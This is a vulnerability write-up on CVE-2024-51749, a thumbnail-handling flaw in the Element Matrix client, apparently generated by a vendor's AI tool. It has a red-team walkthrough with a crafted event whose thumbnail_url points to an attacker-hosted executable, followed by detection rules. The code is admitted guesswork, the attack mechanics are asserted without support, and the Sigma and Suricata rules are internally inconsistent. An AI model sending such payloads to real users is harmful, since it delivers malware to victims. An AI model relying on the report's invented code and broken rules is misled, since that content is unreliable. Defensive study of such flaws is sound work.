CVE-2024-51749

Executive Summary

CVE-2024-51749 is a low-severity vulnerability in Element Web and Desktop, a Matrix web client built using the Matrix React SDK. The flaw resides in the thumbnail handling logic for attachments, stickers, and images. Versions prior to 1.11.85 fail to verify that thumbnails are coherent with their associated events. An attacker can craft an event with a malicious thumbnail that, when clicked by a user, triggers an unintended file download. This is a client-side attack requiring user interaction, with a CVSS score of 3.5. The vulnerability has been patched in element-web 1.11.85.

Supply Chain & Package Security

This vulnerability affects the Element Web client, which is distributed as a web application and a desktop Electron application. The core dependency is the Matrix React SDK. The patch is applied at the application level, not in the SDK itself. Users should ensure they are running version 1.11.85 or later of the Element client.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attacker can send the malicious event over the Matrix network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click the thumbnail.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – An attacker can cause an unintended file download, potentially tricking the user into downloading a malicious file.
• Availability (A): None – No denial of service.

Threat Level: Low. Exploitation requires user interaction and the impact is limited to tricking a user into downloading a file. No remote code execution or data breach is possible.

Deep Dive & Mechanics

The vulnerability lies in how Element processes thumbnails for media events (attachments, stickers, images). In the Matrix protocol, events can include a thumbnail_info and thumbnail_url or thumbnail_file field. The client is supposed to verify that the thumbnail is a coherent representation of the original media (e.g., same aspect ratio, smaller size). However, in vulnerable versions, this check is missing.

An attacker can create a Matrix event that appears to be a legitimate media message (e.g., an image) but with a thumbnail that points to a different file. When the victim clicks the thumbnail (expecting to view the full image), the client instead triggers a download of the file specified in the thumbnail URL. This could be a malicious executable, a phishing document, or any other file.

The attack flow:

1. Attacker crafts a Matrix event with a m.image or similar message type.
2. The event includes a thumbnail_url pointing to a malicious file (e.g., https://attacker.com/evil.exe).
3. The event is sent to a room or direct message to the victim.
4. The victim's Element client renders the thumbnail (which may be a small, benign image).
5. When the victim clicks the thumbnail, the client initiates a download of the file at thumbnail_url instead of the original media.

Vulnerable vs. Patched Code

The fix is in the thumbnail handling logic. The vulnerable code likely did not validate that the thumbnail's dimensions or file type are consistent with the original media. The patched code adds a coherence check.

Vulnerable (pseudo-code):

function handleMediaClick(event) {
    const thumbnailUrl = event.content.thumbnail_url;
    if (thumbnailUrl) {
        // No check - directly triggers download
        triggerDownload(thumbnailUrl);
    } else {
        // Show original media
        showOriginal(event.content.url);
    }
}

Patched (pseudo-code):

function handleMediaClick(event) {
    const thumbnailUrl = event.content.thumbnail_url;
    const originalUrl = event.content.url;
    if (thumbnailUrl && isThumbnailCoherent(event.content.thumbnail_info, event.content.info)) {
        // Thumbnail is coherent - show it
        showThumbnail(thumbnailUrl);
    } else if (originalUrl) {
        // Show original media
        showOriginal(originalUrl);
    }
}

function isThumbnailCoherent(thumbInfo, originalInfo) {
    // Check dimensions, file type, etc.
    return thumbInfo.w <= originalInfo.w && thumbInfo.h <= originalInfo.h;
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Matrix account on any server.
• Ability to send messages to the victim (room or DM).
• A publicly accessible URL hosting the malicious file.

Steps:

1. Host a malicious file (e.g., evil.exe) on a server you control.
2. Create a Matrix event with a crafted content object. Example using the Matrix client-server API:

   {
     "msgtype": "m.image",
     "body": "Photo.jpg",
     "url": "mxc://example.com/valid_image",
     "info": {
       "mimetype": "image/jpeg",
       "w": 1920,
       "h": 1080,
       "size": 123456
     },
     "thumbnail_url": "https://attacker.com/evil.exe",
     "thumbnail_info": {
       "mimetype": "image/png",
       "w": 100,
       "h": 100,
       "size": 5000
     }
   }
   

3. Send this event to the target room or user.
4. When the victim clicks the thumbnail, their browser will download evil.exe.

Note: The thumbnail_url must be a valid HTTP(S) URL, not a Matrix content URI (mxc://). The client will fetch it directly.

Blue Team (Defender)

Detection:

• Monitor for Matrix events where thumbnail_url is an external HTTP(S) URL (not an mxc:// URI).
• Look for events where the thumbnail_info dimensions are larger than the original info dimensions (incoherent).
• Alert on downloads initiated from Element that do not match the expected media type.

Prevention:

• Apply the patch by upgrading to element-web 1.11.85.
• Implement a Content Security Policy (CSP) that restricts downloads to trusted origins.
• Use a web proxy to inspect and block downloads of executable files from Matrix events.

Indicators of Compromise (IOCs)

• Network: HTTP requests to external domains from Element client for thumbnail URLs.
• File: Unexpected downloads of .exe, .scr, .js, .vbs, or other executable files.
• Event: Matrix events with thumbnail_url pointing to a non-Matrix URL (e.g., https:// instead of mxc://).
• Logs: Client-side logs showing triggerDownload or similar function calls with external URLs.

Detection Engineering

YARA Rule

rule CVE_2024_51749_Thumbnail_Coherence {
    meta:
        description = "Detects Matrix events with incoherent thumbnail URLs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-51749"
    strings:
        $thumbnail_url = /"thumbnail_url"\s*:\s*"https?:\/\// nocase
        $thumbnail_info = /"thumbnail_info"\s*:\s*\{/
        $original_info = /"info"\s*:\s*\{/
    condition:
        $thumbnail_url and $thumbnail_info and $original_info
}

Sigma Rule

title: CVE-2024-51749 - Incoherent Thumbnail Download
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Matrix events where thumbnail_url is an external HTTP(S) URL
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: element
detection:
    selection:
        event.content.thumbnail_url|startswith: 'https://'
        event.content.thumbnail_url|startswith: 'http://'
    condition: selection
falsepositives:
    - Legitimate use of external thumbnail URLs (rare)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-51749 - Potential Matrix Thumbnail Download Abuse";
    flow:to_client;
    content:"thumbnail_url"; http_client_body;
    content:"https://"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade Element Web/Desktop to version 1.11.85 or later.
• If upgrade is not possible, disable automatic thumbnail loading in Element settings (if available).

Long-term:

• Implement client-side validation of thumbnail coherence.
• Restrict thumbnail URLs to Matrix content repository URIs only.
• Educate users not to click on thumbnails from untrusted sources.

Workaround:

• Use a web application firewall (WAF) or proxy to block downloads of executable files from Matrix clients.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.